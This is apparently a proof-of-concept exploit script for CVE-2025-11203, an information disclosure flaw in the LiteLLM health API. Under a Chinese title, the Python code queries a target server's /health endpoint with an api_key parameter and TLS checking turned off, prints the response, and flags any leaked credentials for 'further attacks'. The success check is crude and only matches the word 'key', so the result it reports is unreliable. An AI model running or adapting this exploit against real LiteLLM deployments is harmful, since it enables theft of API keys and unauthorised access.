CVE-2025-11203 LiteLLM health API信息泄露漏洞

# CVE-2025-11203 PoC - LiteLLM Health API Information Disclosure # Reference: ZDI-CAN-26585 import requests import json TARGET_URL = "http://target-litellm-server:4000" API_KEY = "your-authenticated-api-key" # Attacker needs low-privilege auth def exploit_cve_2025_11203(): """ Exploit for LiteLLM Information Disclosure via Health API This PoC demonstrates how API_KEY parameter leaks sensitive credentials """ headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } # The vulnerable endpoint - health API with API_KEY parameter vulnerable_endpoint = f"{TARGET_URL}/health" # Crafted request that triggers information disclosure # The API_KEY parameter in query causes sensitive data to be returned params = { "api_key": "test", # This parameter triggers the leak "suppress": "false" } try: response = requests.get( vulnerable_endpoint, headers=headers, params=params, verify=False, timeout=10 ) print(f"Status Code: {response.status_code}") print(f"Response Headers: {json.dumps(dict(response.headers), indent=2)}") print(f"Response Body: {json.dumps(response.json(), indent=2)}") # Check if sensitive information is leaked in response if "api_key" in response.text.lower() or "key" in response.text.lower(): print("[+] SUCCESS: Sensitive information disclosure detected!") print("[+] Extracted credentials may be used for further attacks") return True else: print("[-] No obvious information disclosure detected") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-11203 LiteLLM Information Disclosure PoC") print("=" * 60) exploit_cve_2025_11203()